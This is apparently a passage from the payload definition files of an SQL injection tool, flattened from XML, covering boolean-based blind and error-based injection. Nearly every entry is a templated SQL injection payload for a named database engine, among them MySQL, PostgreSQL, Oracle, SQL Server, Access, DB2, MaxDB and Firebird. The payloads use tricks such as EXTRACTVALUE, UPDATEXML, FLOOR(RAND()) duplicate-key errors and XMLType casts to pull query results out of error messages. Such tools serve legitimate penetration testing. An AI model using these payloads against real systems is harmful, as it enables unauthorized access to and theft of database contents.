Microsoft SQL Server/Sybase boolean-based blind - ORDER BY clause (original value) 1 4 1 3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase
Oracle boolean-based blind - ORDER BY, GROUP BY clause 1 3 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
Oracle
Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value) 1 4 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)
Oracle
Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause 1 4 1 2,3 1 ,IIF([INFERENCE],1,1/0) ,IIF([RANDNUM]=[RANDNUM],1,1/0) ,IIF([RANDNUM]=[RANDNUM1],1,1/0)
Microsoft Access
Microsoft Access boolean-based blind - ORDER BY, GROUP BY clause (original value) 1 5 1 2,3 1 ,IIF([INFERENCE],[ORIGVALUE],1/0) ,IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0) ,IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)
Microsoft Access
SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause 1 4 1 2,3 1 ,(CASE WHEN [INFERENCE] THEN 1 ELSE NULL END) ,(CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END) ,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END)
SAP MaxDB
SAP MaxDB boolean-based blind - ORDER BY, GROUP BY clause (original value) 1 5 1 2,3 1 ,(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) ,(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) ,(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)
SAP MaxDB
IBM DB2 boolean-based blind - ORDER BY clause 1 4 1 3 1 ,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
IBM DB2
IBM DB2 boolean-based blind - ORDER BY clause (original value) 1 5 1 3 1 ,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1) ,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)
IBM DB2
HAVING boolean-based blind - WHERE, GROUP BY clause 1 3 1 1,2 1 HAVING [INFERENCE] HAVING [RANDNUM]=[RANDNUM] HAVING [RANDNUM]=[RANDNUM1] MySQL >= 5.0 boolean-based blind - Stacked queries 1 4 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) # ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
MySQL >= 5.0
MySQL < 5.0 boolean-based blind - Stacked queries 1 5 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END) # ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)
MySQL < 5.0
PostgreSQL boolean-based blind - Stacked queries 1 3 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END) -- ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END)
PostgreSQL
PostgreSQL boolean-based blind - Stacked queries (GENERATE_SERIES) 1 5 1 1-8 1 ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1 ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1 -- ;SELECT * FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1
PostgreSQL
Microsoft SQL Server/Sybase boolean-based blind - Stacked queries (IF) 1 3 1 1-8 1 ;IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] ;IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR] -- ;IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase boolean-based blind - Stacked queries 1 4 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END) -- ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)
Microsoft SQL Server Sybase
Oracle boolean-based blind - Stacked queries 1 4 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL -- ;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL
Oracle
Microsoft Access boolean-based blind - Stacked queries 1 5 1 1-8 1 ;IIF([INFERENCE],1,1/0) ;IIF([RANDNUM]=[RANDNUM],1,1/0) %16 ;IIF([RANDNUM]=[RANDNUM1],1,1/0)
Microsoft Access
SAP MaxDB boolean-based blind - Stacked queries 1 5 1 1-8 1 ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END FROM DUAL ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END FROM DUAL -- ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END FROM DUAL
SAP MaxDB
================================================ FILE: data/xml/payloads/error_based.xml ================================================ MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 2 1 1 1,2,3,8,9 1 AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 2 1 3 1,2,3,8,9 1 OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) 2 2 1 1,2,3,8,9 1 AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.6
MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET) 2 2 3 1,8,9 1 OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.6
MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) 2 4 1 1,2,3,8,9 1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED) 2 4 3 1,8,9 1 OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP) 2 4 1 1,2,3,8,9 1 AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP) 2 4 3 1,8,9 1 OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS) 2 5 1 1,2,3,8,9 1 AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.7.8
MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS) 2 5 3 1,8,9 1 OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.7.8
MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 4 1 1,2,3,8,9 1 AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 4 3 1,2,3,8,9 1 OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 5 1 7 1 (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML) 2 3 1 1,2,3,8,9 1 AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML) 2 3 3 1,2,3,8,9 1 OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 5 1 1,2,3,8,9 1 AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 4.1
MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR) 2 5 3 1,8,9 1 OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 4.1
MySQL OR error-based - WHERE or HAVING clause (FLOOR) 2 5 3 1,8,9 2 OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) # [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
PostgreSQL AND error-based - WHERE or HAVING clause 2 1 1 1,8,9 1 AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
PostgreSQL OR error-based - WHERE or HAVING clause 2 1 3 1,8,9 2 OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN) 2 1 1 1,8,9 1 AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN) 2 2 3 1,8,9 2 OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT) 2 2 1 1,8,9 1 AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT) 2 3 3 1,8,9 2 OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT) 2 2 1 1,8,9 1 AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT) 2 3 3 1,8,9 2 OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Oracle AND error-based - WHERE or HAVING clause (XMLType) 2 1 1 1,9 1 AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle OR error-based - WHERE or HAVING clause (XMLType) 2 1 3 1,9 2 OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 2 1 1,9 1 AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle >= 8.1.6
Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 2 3 1,9 2 OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle >= 8.1.6
Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) 2 3 1 1,9 1 AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN) 2 3 3 1,9 2 OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) 2 4 1 1,9 1 AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) 2 4 3 1,9 2 OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Firebird AND error-based - WHERE or HAVING clause 2 3 1 1 1 AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
Firebird OR error-based - WHERE or HAVING clause 2 4 3 1 2 OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
